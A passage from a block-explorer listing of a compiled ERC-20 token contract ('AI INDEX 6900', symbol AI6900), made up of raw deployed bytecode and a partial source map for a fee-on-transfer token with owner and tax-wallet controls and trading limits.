935093915050565b5f82611bbf57506001610508565b81611bcb57505f610508565b8160018114611be15760028114611beb57611c07565b6001915050610508565b60ff841115611bfc57611bfc611b5a565b50506001821b610508565b5060208310610133831016604e8410600b8410161715611c2a575081810a610508565b611c365f198484611b6e565b805f1904821115611c4957611c49611b5a565b029392505050565b5f61171160ff841683611bb1565b808202811582820484141761050857610508611b5a565b5f60208284031215611c86575f5ffd5b5051919050565b5f60208284031215611c9d575f5ffd5b815161171181611afc565b5f60208284031215611cb8575f5ffd5b815161171181611a14565b5f5f5f60608486031215611cd5575f5ffd5b5050815160208301516040909301519094929350919050565b8082018082111561050857610508611b5a565b5f60018201611d1257611d12611b5a565b5060010190565b8181038181111561050857610508611b5a565b5f82611d4657634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b81811015611daf5783516001600160a01b0316835260209384019390920191600101611d88565b50506001600160a01b03959095166060840152505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c139b3bf199e117c259f87cb586f317a398cc53779b751d7db9fcc131e13a6a964736f6c634300081c0033

Deployed Bytecode

0x60806040526004361061013f575f3560e01c80638cd4426d116100b3578063bf474bed1161006d578063bf474bed1461037e578063c9567bf914610393578063db05e5cb146103a7578063dd62ed3e146103bb578063ec1f3f63146103ff578063f945abd51461041e575f5ffd5b80638cd4426d146102b85780638da5cb5b146102d75780638f9a55c0146102fd57806395d89b4114610312578063a9059cbb14610340578063b70143c91461035f575f5ffd5b806318160ddd1161010457806318160ddd1461020d57806323b872dd14610221578063313ce5671461024057806370a082311461025b578063715018a61461028f5780637d1db4a5146102a3575f5ffd5b80630106aaef1461014a57806306fdde0314610160578063095ea7b3146101a75780630faee56f146101d6578063109daa99146101f9575f5ffd5b3661014657005b5f5ffd5b348015610155575f5ffd5b5061015e61043d565b005b34801561016b575f5ffd5b5060408051808201909152600d81526c0414920494e444558203639303609c1b60208201525b60405161019e91906119df565b60405180910390f35b3480156101b2575f5ffd5b506101c66101c1366004611a2b565b6104f8565b604051901515815260200161019e565b3480156101e1575f5ffd5b506101eb60115481565b60405190815260200161019e565b348015610204575f5ffd5b5061015e61050e565b348015610218575f5ffd5b506101eb61056d565b34801561022c575f5ffd5b506101c661023b366004611a55565b61058d565b34801561024b575f5ffd5b506040516009815260200161019e565b348015610266575f5ffd5b506101eb610275366004611a93565b6001600160a01b03165f9081526002602052604090205490565b34801561029a575f5ffd5b5061015e6105f4565b3480156102ae575f5ffd5b506101eb600e5481565b3480156102c3575f5ffd5b5061015e6102d2366004611a2b565b610665565b3480156102e2575f5ffd5b505f546040516001600160a01b03909116815260200161019e565b348015610308575f5ffd5b506101eb600f5481565b34801561031d575f5ffd5b5060408051808201909152600681526504149363930360d41b6020820152610191565b34801561034b575f5ffd5b506101c661035a366004611a2b565b61078f565b34801561036a575f5ffd5b5061015e610379366004611aae565b61079b565b348015610389575f5ffd5b506101eb60105481565b34801561039e575f5ffd5b5061015e6107f4565b3480156103b2575f5ffd5b5061015e610e94565b3480156103c6575f5ffd5b506101eb6103d5366004611ac5565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b34801561040a575f5ffd5b5061015e610419366004611aae565b610ec2565b348015610429575f5ffd5b5061015e610438366004611b09565b610f07565b5f546001600160a01b0316331461046f5760405162461bcd60e51b815260040161046690611b25565b60405180910390fd5b61047b6009600a611c51565b610489906329209080611c5f565b600e556104986009600a611c51565b6104a6906329209080611c5f565b600f557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6104d66009600a611c51565b6104e4906329209080611c5f565b6040519081526020015b60405180910390a1565b5f610504338484610f47565b5060015b92915050565b5f546001600160a01b031633146105375760405162461bcd60e51b815260040161046690611b25565b5f600c8190556040519081527fe9b79e1a6c2dc43b4c0c6ff01ce9e3332d810e482270f464c0a21ad6c5fc6de3906020016104ee565b5f61057a6009600a611c51565b610588906329209080611c5f565b905090565b5f61059984848461106a565b6105ea84336105e585604051806060016040528060288152602001611dd0602891396001600160a01b038a165f908152600160209081526040808320338452909152902054919061165b565b610f47565b5060019392505050565b5f546001600160a01b0316331461061d5760405162461bcd60e51b815260040161046690611b25565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b0316331461068e5760405162461bcd60e51b815260040161046690611b25565b6040516370a0823160e01b81523060048201525f9061070f906064906107099085906001600160a01b038816906370a0823190602401602060405180830381865afa1580156106df573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107039190611c76565b90611693565b90611718565b6004805460405163a9059cbb60e01b81526001600160a01b0391821692810192909252602482018390529192509084169063a9059cbb906044016020604051808303815f875af1158015610765573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107899190611c8d565b50505050565b5f61050433848461106a565b6004546001600160a01b0316336001600160a01b0316146107ba575f5ffd5b5f811180156107d25750601354600160b01b900460ff165b156107e0576107e081611759565b4780156107f0576107f0816118c9565b5050565b5f546001600160a01b0316331461081d5760405162461bcd60e51b815260040161046690611b25565b601354600160a01b900460ff16156108775760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610466565b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556108c09030906108b26009600a611c51565b6105e5906329209080611c5f565b6012546040805163c45a015560e01b815290515f926001600160a01b03169163c45a01559160048083019260209291908290030181865afa158015610907573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061092b9190611ca8565b6001600160a01b031663e6a4390560125f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610989573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109ad9190611ca8565b6040516001600160e01b031960e084901b1681526001600160a01b039091166004820152306024820152604401602060405180830381865afa1580156109f5573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a199190611ca8565b6001600160a01b031603610baf5760125f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a77573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a9b9190611ca8565b6001600160a01b031663c9c6539660125f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610af9573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b1d9190611ca8565b6040516001600160e01b031960e084901b1681526001600160a01b0390911660048201523060248201526044016020604051808303815f875af1158015610b66573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b8a9190611ca8565b601380546001600160a01b0319166001600160a01b0392909216919091179055610d32565b60125f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610bff573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c239190611ca8565b6001600160a01b031663e6a4390560125f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c81573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ca59190611ca8565b6040516001600160e01b031960e084901b1681526001600160a01b039091166004820152306024820152604401602060405180830381865afa158015610ced573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d119190611ca8565b601380546001600160a01b0319166001600160a01b03929092169190911790555b6012546001600160a01b031663f305d7194730610d63816001600160a01b03165f9081526002602052604090205490565b5f5f610d765f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610ddc573d5f5f3e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610e019190611cc3565b505060135460125460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610e56573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610e7a9190611c8d565b506013805462ff00ff60a01b19166201000160a01b179055565b6013805460ff60b81b191690556004546001600160a01b0316336001600160a01b031614610ec0575f5ffd5b565b6004546001600160a01b0316336001600160a01b031614610ee1575f5ffd5b6007548111158015610ef557506008548111155b610efd575f5ffd5b6007819055600855565b6004546001600160a01b0316336001600160a01b031614610f26575f5ffd5b60165560138054911515600160b01b0260ff60b01b19909216919091179055565b6001600160a01b038316610fa95760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610466565b6001600160a01b03821661100a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610466565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166110ce5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610466565b6001600160a01b0382166111305760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610466565b5f81116111915760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610466565b806111a35f546001600160a01b031690565b6001600160a01b0316846001600160a01b0316141580156111d157505f546001600160a01b03848116911614155b80156111eb57506004546001600160a01b03848116911614155b80156112005750601354600160b81b900460ff165b1561152f57600d545f03611239576112356064610709600954600d54101561122a5760055461122e565b6007545b8590611693565b6016555b600d541561125f5761125b6064610709600c548561169390919063ffffffff16565b6016555b6013546001600160a01b03858116911614801561128a57506012546001600160a01b03848116911614155b80156112ae57506001600160a01b0383165f9081526003602052604090205460ff16155b156113b357600e548211156113055760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610466565b600f5482611327856001600160a01b03165f9081526002602052604090205490565b6113319190611cee565b111561137f5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610466565b61139b6064610709600954600d54101561122a5760055461122e565b601655600d8054905f6113ad83611d01565b91905055505b6013546001600160a01b0384811691161480156113d957506001600160a01b0384163014155b15611408576114046064610709600a54600d5410156113fa5760065461122e565b6008548590611693565b6016555b305f90815260026020526040902054601354600160a81b900460ff1615801561143e57506013546001600160a01b038581169116145b80156114535750601354600160b01b900460ff165b8015611460575060105481115b80156114705750600b54600d5410155b1561151d57601554431115611484575f6014555b6003601454106114d65760405162461bcd60e51b815260206004820152601760248201527f4f6e6c7920332073656c6c732070657220626c6f636b210000000000000000006044820152606401610466565b6114f36114ee846114e984601154611900565b611900565b611759565b47801561150357611503476118c9565b60148054905f61151283611d01565b909155505043601555505b60165461152b908490611914565b9150505b601654156115aa57601654305f9081526002602052604090205461155291611955565b305f818152600260209081526040808320949094556016829055925190815290916001600160a01b038716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35b6001600160a01b0384165f908152600260205260409020546115cc9083611914565b6001600160a01b038086165f9081526002602052604080822093909355908516815220546115fa9082611955565b6001600160a01b038085165f8181526002602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061164d9085815260200190565b60405180910390a350505050565b5f818484111561167e5760405162461bcd60e51b815260040161046691906119df565b505f61168a8486611d19565b95945050505050565b5f825f036116a257505f610508565b5f6116ad8385611c5f565b9050826116ba8583611d2c565b146117115760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610466565b9392505050565b5f61171183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506119b3565b6013805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061179f5761179f611d4b565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156117f6573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061181a9190611ca8565b8160018151811061182d5761182d611d4b565b6001600160a01b0392831660209182029290920101526012546118539130911684610f47565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac9479061188b9085905f90869030904290600401611d5f565b5f604051808303815f87803b1580156118a2575f5ffd5b505af11580156118b4573d5f5f3e3d5ffd5b50506013805460ff60a81b1916905550505050565b6004546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156107f0573d5f5f3e3d5ffd5b5f81831161190e5782611711565b50919050565b5f61171183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061165b565b5f806119618385611cee565b9050838110156117115760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610466565b5f81836119d35760405162461bcd60e51b815260040161046691906119df565b505f61168a8486611d2c565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114611a28575f5ffd5b50565b5f5f60408385031215611a3c575f5ffd5b8235611a4781611a14565b946020939093013593505050565b5f5f5f60608486031215611a67575f5ffd5b8335611a7281611a14565b92506020840135611a8281611a14565b929592945050506040919091013590565b5f60208284031215611aa3575f5ffd5b813561171181611a14565b5f60208284031215611abe575f5ffd5b5035919050565b5f5f60408385031215611ad6575f5ffd5b8235611ae181611a14565b91506020830135611af181611a14565b809150509250929050565b8015158114611a28575f5ffd5b5f5f60408385031215611b1a575f5ffd5b8235611a4781611afc565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b6001815b6001841115611ba957808504811115611b8d57611b8d611b5a565b6001841615611b9b57908102905b60019390931c928002611b72565b935093915050565b5f82611bbf57506001610508565b81611bcb57505f610508565b8160018114611be15760028114611beb57611c07565b6001915050610508565b60ff841115611bfc57611bfc611b5a565b50506001821b610508565b5060208310610133831016604e8410600b8410161715611c2a575081810a610508565b611c365f198484611b6e565b805f1904821115611c4957611c49611b5a565b029392505050565b5f61171160ff841683611bb1565b808202811582820484141761050857610508611b5a565b5f60208284031215611c86575f5ffd5b5051919050565b5f60208284031215611c9d575f5ffd5b815161171181611afc565b5f60208284031215611cb8575f5ffd5b815161171181611a14565b5f5f5f60608486031215611cd5575f5ffd5b5050815160208301516040909301519094929350919050565b8082018082111561050857610508611b5a565b5f60018201611d1257611d12611b5a565b5060010190565b8181038181111561050857610508611b5a565b5f82611d4657634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b81811015611daf5783516001600160a01b0316835260209384019390920191600101611d88565b50506001600160a01b03959095166060840152505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c139b3bf199e117c259f87cb586f317a398cc53779b751d7db9fcc131e13a6a964736f6c634300081c0033

Deployed Bytecode Sourcemap

4033:9316:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10331:161;;;;;;;;;;;;;:::i;:::-;;6029:83;;;;;;;;;;-1:-1:-1;6099:5:0;;;;;;;;;;;;-1:-1:-1;;;6099:5:0;;;;6029:83;;;;;;;:::i;:::-;;;;;;;;6862:161;;;;;;;;;;-1:-1:-1;6862:161:0;;;;;:::i;:::-;;:::i;:::-;;;1110:14:1;;1103:22;1085:41;;1073:2;1058:18;6862:161:0;945:187:1;5115:50:0;;;;;;;;;;;;;;;;;;;1283:25:1;;;1271:2;1256:18;5115:50:0;1137:177:1;10828:119:0;;;;;;;;;;;;;:::i;6306:95::-;;;;;;;;;;;;;:::i;7031:313::-;;;;;;;;;;-1:-1:-1;7031:313:0;;;;;:::i;:::-;;:::i;6215:83::-;;;;;;;;;;-1:-1:-1;6215:83:0;;4748:1;1974:36:1;;1962:2;1947:18;6215:83:0;1832:184:1;6409:119:0;;;;;;;;;;-1:-1:-1;6409:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6502:18:0;6475:7;6502:18;;;:9;:18;;;;;;;6409:119;2345:148;;;;;;;;;;;;;:::i;4942:47::-;;;;;;;;;;;;;;;;12778:232;;;;;;;;;;-1:-1:-1;12778:232:0;;;;;:::i;:::-;;:::i;2131:79::-;;;;;;;;;;-1:-1:-1;2169:7:0;2196:6;2131:79;;-1:-1:-1;;;;;2196:6:0;;;2419:51:1;;2407:2;2392:18;2131:79:0;2273:203:1;4996:49:0;;;;;;;;;;;;;;;;6120:87;;;;;;;;;;-1:-1:-1;6192:7:0;;;;;;;;;;;;-1:-1:-1;;;6192:7:0;;;;6120:87;;6536:167;;;;;;;;;;-1:-1:-1;6536:167:0;;;;;:::i;:::-;;:::i;13018:328::-;;;;;;;;;;-1:-1:-1;13018:328:0;;;;;:::i;:::-;;:::i;5052:56::-;;;;;;;;;;;;;;;;11055:952;;;;;;;;;;;;;:::i;10500:120::-;;;;;;;;;;;;;:::i;6711:143::-;;;;;;;;;;-1:-1:-1;6711:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6819:18:0;;;6792:7;6819:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6711:143;12506:227;;;;;;;;;;-1:-1:-1;12506:227:0;;;;;:::i;:::-;;:::i;10628:192::-;;;;;;;;;;-1:-1:-1;10628:192:0;;;;;:::i;:::-;;:::i;10331:161::-;2258:6;;-1:-1:-1;;;;;2258:6:0;641:10;2258:22;2250:67;;;;-1:-1:-1;;;2250:67:0;;;;;;;:::i;:::-;;;;;;;;;4805:13:::1;4748:1;4805:2;:13;:::i;:::-;4791:27;::::0;:11:::1;:27;:::i;:::-;10386:12;:22:::0;4805:13:::1;4748:1;4805:2;:13;:::i;:::-;4791:27;::::0;:11:::1;:27;:::i;:::-;10419:14;:22:::0;10457:27:::1;4805:13;4748:1;4805:2;:13;:::i;:::-;4791:27;::::0;:11:::1;:27;:::i;:::-;10457;::::0;1283:25:1;;;1271:2;1256:18;10457:27:0::1;;;;;;;;10331:161::o:0;6862:::-;6937:4;6954:39;641:10;6977:7;6986:6;6954:8;:39::i;:::-;-1:-1:-1;7011:4:0;6862:161;;;;;:::o;10828:119::-;2258:6;;-1:-1:-1;;;;;2258:6:0;641:10;2258:22;2250:67;;;;-1:-1:-1;;;2250:67:0;;;;;;;:::i;:::-;10901:1:::1;10886:12;:16:::0;;;10918:21:::1;::::0;1283:25:1;;;10918:21:0::1;::::0;1271:2:1;1256:18;10918:21:0::1;1137:177:1::0;6306:95:0;6359:7;4805:13;4748:1;4805:2;:13;:::i;:::-;4791:27;;:11;:27;:::i;:::-;6379:14;;6306:95;:::o;7031:313::-;7129:4;7146:36;7156:6;7164:9;7175:6;7146:9;:36::i;:::-;7193:121;7202:6;641:10;7224:89;7262:6;7224:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7224:19:0;;;;;;:11;:19;;;;;;;;641:10;7224:33;;;;;;;;;;:37;:89::i;:::-;7193:8;:121::i;:::-;-1:-1:-1;7332:4:0;7031:313;;;;;:::o;2345:148::-;2258:6;;-1:-1:-1;;;;;2258:6:0;641:10;2258:22;2250:67;;;;-1:-1:-1;;;2250:67:0;;;;;;;:::i;:::-;2452:1:::1;2436:6:::0;;2415:40:::1;::::0;-1:-1:-1;;;;;2436:6:0;;::::1;::::0;2415:40:::1;::::0;2452:1;;2415:40:::1;2483:1;2466:19:::0;;-1:-1:-1;;;;;;2466:19:0::1;::::0;;2345:148::o;12778:232::-;2258:6;;-1:-1:-1;;;;;2258:6:0;641:10;2258:22;2250:67;;;;-1:-1:-1;;;2250:67:0;;;;;;;:::i;:::-;12882:41:::1;::::0;-1:-1:-1;;;12882:41:0;;12917:4:::1;12882:41;::::0;::::1;2419:51:1::0;12864:15:0::1;::::0;12882:63:::1;::::0;12941:3:::1;::::0;12882:54:::1;::::0;12928:7;;-1:-1:-1;;;;;12882:26:0;::::1;::::0;::::1;::::0;2392:18:1;;12882:41:0::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;:45:::0;::::1;:54::i;:::-;:58:::0;::::1;:63::i;:::-;12982:10;::::0;;12956:46:::1;::::0;-1:-1:-1;;;12956:46:0;;-1:-1:-1;;;;;12982:10:0;;::::1;12956:46:::0;;::::1;6299:51:1::0;;;;6366:18;;;6359:34;;;12864:81:0;;-1:-1:-1;12956:25:0;;::::1;::::0;::::1;::::0;6272:18:1;;12956:46:0::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;12853:157;12778:232:::0;;:::o;6536:167::-;6614:4;6631:42;641:10;6655:9;6666:6;6631:9;:42::i;13018:328::-;13101:10;;-1:-1:-1;;;;;13101:10:0;641;-1:-1:-1;;;;;13087:24:0;;13079:33;;;;;;13138:1;13126:11;:13;:28;;;;-1:-1:-1;13143:11:0;;-1:-1:-1;;;13143:11:0;;;;13126:28;13123:88;;;13170:29;13187:11;13170:16;:29::i;:::-;13240:21;13275:12;;13272:67;;13303:24;13316:10;13303:12;:24::i;:::-;13068:278;13018:328;:::o;11055:952::-;2258:6;;-1:-1:-1;;;;;2258:6:0;641:10;2258:22;2250:67;;;;-1:-1:-1;;;2250:67:0;;;;;;;:::i;:::-;11119:11:::1;::::0;-1:-1:-1;;;11119:11:0;::::1;;;11118:12;11110:47;;;::::0;-1:-1:-1;;;11110:47:0;;6856:2:1;11110:47:0::1;::::0;::::1;6838:21:1::0;6895:2;6875:18;;;6868:30;6934:25;6914:18;;;6907:53;6977:18;;11110:47:0::1;6654:347:1::0;11110:47:0::1;11168:15;:80:::0;;-1:-1:-1;;;;;;11168:80:0::1;11205:42;11168:80:::0;;::::1;::::0;;;11259:58:::1;::::0;11276:4:::1;::::0;4805:13:::1;4748:1;4805:2;:13;:::i;:::-;4791:27;::::0;:11:::1;:27;:::i;11259:58::-;11350:15;::::0;:25:::1;::::0;;-1:-1:-1;;;11350:25:0;;;;11435:1:::1;::::0;-1:-1:-1;;;;;11350:15:0::1;::::0;:23:::1;::::0;:25:::1;::::0;;::::1;::::0;::::1;::::0;;;;;;;;:15;:25:::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11332:52:0::1;;11385:15;;;;;;;;;-1:-1:-1::0;;;;;11385:15:0::1;-1:-1:-1::0;;;;;11385:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11332:91;::::0;-1:-1:-1;;;;;;11332:91:0::1;::::0;;;;;;-1:-1:-1;;;;;7454:32:1;;;11332:91:0::1;::::0;::::1;7436:51:1::0;11417:4:0::1;7503:18:1::0;;;7496:60;7409:18;;11332:91:0::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11332:105:0::1;::::0;11328:392:::1;;11492:15;;;;;;;;;-1:-1:-1::0;;;;;11492:15:0::1;-1:-1:-1::0;;;;;11492:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11474:55:0::1;;11530:15;;;;;;;;;-1:-1:-1::0;;;;;11530:15:0::1;-1:-1:-1::0;;;;;11530:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11474:94;::::0;-1:-1:-1;;;;;;11474:94:0::1;::::0;;;;;;-1:-1:-1;;;;;7454:32:1;;;11474:94:0::1;::::0;::::1;7436:51:1::0;11562:4:0::1;7503:18:1::0;;;7496:60;7409:18;;11474:94:0::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11458:13;:110:::0;;-1:-1:-1;;;;;;11458:110:0::1;-1:-1:-1::0;;;;;11458:110:0;;;::::1;::::0;;;::::1;::::0;;11328:392:::1;;;11635:15;;;;;;;;;-1:-1:-1::0;;;;;11635:15:0::1;-1:-1:-1::0;;;;;11635:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11617:52:0::1;;11670:15;;;;;;;;;-1:-1:-1::0;;;;;11670:15:0::1;-1:-1:-1::0;;;;;11670:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11617:91;::::0;-1:-1:-1;;;;;;11617:91:0::1;::::0;;;;;;-1:-1:-1;;;;;7454:32:1;;;11617:91:0::1;::::0;::::1;7436:51:1::0;11702:4:0::1;7503:18:1::0;;;7496:60;7409:18;;11617:91:0::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11601:13;:107:::0;;-1:-1:-1;;;;;;11601:107:0::1;-1:-1:-1::0;;;;;11601:107:0;;;::::1;::::0;;;::::1;::::0;;11328:392:::1;11730:15;::::0;-1:-1:-1;;;;;11730:15:0::1;:31;11769:21;11800:4;11806:24;11800:4:::0;-1:-1:-1;;;;;6502:18:0;6475:7;6502:18;;;:9;:18;;;;;;;6409:119;11806:24:::1;11831:1;11833;11835:7;2169::::0;2196:6;-1:-1:-1;;;;;2196:6:0;;2131:79;11835:7:::1;11730:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;11730:129:0;;;-1:-1:-1;;;;;7888:32:1;;;11730:129:0::1;::::0;::::1;7870:51:1::0;7937:18;;;7930:34;;;;7980:18;;;7973:34;;;;8023:18;;;8016:34;8087:32;;;8066:19;;;8059:61;11843:15:0::1;8136:19:1::0;;;8129:35;7842:19;;11730:129:0::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;11877:13:0::1;::::0;11908:15:::1;::::0;11870:71:::1;::::0;-1:-1:-1;;;11870:71:0;;-1:-1:-1;;;;;11908:15:0;;::::1;11870:71;::::0;::::1;6299:51:1::0;-1:-1:-1;;6366:18:1;;;6359:34;11877:13:0;::::1;::::0;-1:-1:-1;11870:29:0::1;::::0;6272:18:1;;11870:71:0::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;11952:11:0::1;:18:::0;;-1:-1:-1;;;;11981:18:0;-1:-1:-1;;;11981:18:0;;;11055:952::o;10500:120::-;10546:14;:22;;-1:-1:-1;;;;10546:22:0;;;10601:10;;-1:-1:-1;;;;;10601:10:0;641;-1:-1:-1;;;;;10587:24:0;;10579:33;;;;;;10500:120::o;12506:227::-;12584:10;;-1:-1:-1;;;;;12584:10:0;641;-1:-1:-1;;;;;12570:24:0;;12562:33;;;;;;12623:12;;12614:7;:21;;:47;;;;;12648:13;;12639:7;:22;;12614:47;12606:56;;;;;;12673:12;:20;;;12704:13;:21;12506:227::o;10628:192::-;10733:10;;-1:-1:-1;;;;;10733:10:0;641;-1:-1:-1;;;;;10719:24:0;;10711:33;;;;;;10755:9;:25;10791:11;:21;;;;;-1:-1:-1;;;10791:21:0;-1:-1:-1;;;;10791:21:0;;;;;;;;;10628:192::o;7352:335::-;-1:-1:-1;;;;;7445:19:0;;7437:68;;;;-1:-1:-1;;;7437:68:0;;9117:2:1;7437:68:0;;;9099:21:1;9156:2;9136:18;;;9129:30;9195:34;9175:18;;;9168:62;-1:-1:-1;;;9246:18:1;;;9239:34;9290:19;;7437:68:0;8915:400:1;7437:68:0;-1:-1:-1;;;;;7524:21:0;;7516:68;;;;-1:-1:-1;;;7516:68:0;;9522:2:1;7516:68:0;;;9504:21:1;9561:2;9541:18;;;9534:30;9600:34;9580:18;;;9573:62;-1:-1:-1;;;9651:18:1;;;9644:32;9693:19;;7516:68:0;9320:398:1;7516:68:0;-1:-1:-1;;;;;7595:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7647:32;;1283:25:1;;;7647:32:0;;1256:18:1;7647:32:0;;;;;;;7352:335;;;:::o;7695:2520::-;-1:-1:-1;;;;;7783:18:0;;7775:68;;;;-1:-1:-1;;;7775:68:0;;9925:2:1;7775:68:0;;;9907:21:1;9964:2;9944:18;;;9937:30;10003:34;9983:18;;;9976:62;-1:-1:-1;;;10054:18:1;;;10047:35;10099:19;;7775:68:0;9723:401:1;7775:68:0;-1:-1:-1;;;;;7862:16:0;;7854:64;;;;-1:-1:-1;;;7854:64:0;;10331:2:1;7854:64:0;;;10313:21:1;10370:2;10350:18;;;10343:30;10409:34;10389:18;;;10382:62;-1:-1:-1;;;10460:18:1;;;10453:33;10503:19;;7854:64:0;10129:3